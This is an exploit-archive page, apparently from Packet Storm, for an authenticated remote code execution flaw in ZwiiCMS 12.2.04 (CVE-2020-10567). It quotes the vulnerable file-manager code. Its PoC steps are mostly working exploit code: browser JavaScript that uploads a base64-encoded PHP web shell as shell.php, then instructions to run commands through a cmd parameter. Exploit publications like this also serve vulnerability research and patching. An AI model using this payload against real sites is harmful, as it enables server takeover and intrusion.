what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZwiiCMS 12.2.04 Remote Code Execution

ZwiiCMS 12.2.04 Remote Code Execution
Posted Mar 7, 2023
Authored by Hadi Mene

ZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-10567
SHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d

ZwiiCMS 12.2.04 Remote Code Execution

Change Mirror Download
# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) 
# Date: 03/06/2023
# Exploit Author: Hadi Mene
# Vendor Homepage: https://zwiicms.fr/
# Version: 12.2.04 and potentially lower versions
# CVE: CVE-2020-10567
# Category: webapps


ZwiiCMS 12.2.04 uses "Responible FileManager" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for
an authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution
due to a lack of extension check on the uploaded file.

Original CVE author : hackoclipse
https://github.com/trippo/ResponsiveFilemanager/issues/600


Vulnerable code (ajax_calls.php) :

// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being
necessarily an image

81 case 'save_img':
82 $info = pathinfo($_POST['name']);
83 $image_data = $_POST['url'];
84
85 if (preg_match('/^data:image\/(\w+);base64,/', $image_data, $type)) {
86 $image_data = substr($image_data, strpos($image_data, ',') + 1);
87 $type = strtolower($type[1]); // jpg, png, gif
88
89 $image_data = base64_decode($image_data);


PoC:

1) Login in the Administration Panel.
2) Click on the Folder icon on the top of the panel.
3) Open the Developer Tools for that page.
4) Copy,Edit and Execute the Javascript Code below .
5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND

Javascript Code
######

function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/192.168.0.27\/zwiicms\/core\/vendor\/filemanager\/ajax_calls.php?action=save_img", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();

######
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close